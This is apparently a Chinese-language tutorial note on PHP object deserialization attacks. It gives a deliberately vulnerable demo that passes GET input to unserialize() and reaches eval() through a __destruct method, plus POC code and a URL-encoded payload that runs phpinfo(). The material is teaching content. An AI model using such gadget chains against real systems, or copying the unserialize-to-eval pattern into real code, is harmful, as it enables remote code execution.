反序列化漏洞利用的条件
1、程序中存在序列化字符串的输入点. 2、程序中存在可以利用的魔术方法.
反序列化漏洞的一个简单DEMO
<?php class example { public $handle; function __destruct() { $this->shutdown(); } public function shutdown() { $this->handle->close(); } } class process { public $pid; function close() { eval($this->pid); } } if(isset($_GET['data'])) { $user_data = unserialize(urldecode($_GET['data'])); }?>
可见,process类当中有一个close方法里面有一个eval函数,但是pid不是我们所能控制的。但是在example当中有调用close方法。
可以在example中调用process类,然后在process当中对pid进行赋值然后序列化进而执行eval函数达到命令执行的效果
最终GET POC代码如下。
1 <?php 2 class example 3 { 4 public $handle; 5 function __construct() 6 { 7 $this->handle = new process(); 8 } 9 } 10 class process 11 { 12 public $pid; 13 function __construct() 14 { 15 $this->pid=("phpinfo();"); 16 } 17 } 18 $data = new example(); 19 echo urlencode(serialize($data)) 20 ?>
生成后的payload为(#一定要编码,不编码不行):
O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
总结:
OOP不太熟悉还是很容易在一些细节上面写错。
比如
1.在POC构造的那个代码的第7行,是需要new的
2.在引用一个方法的时候是没有$符号的。即$this->pid
3.属性是没有括号的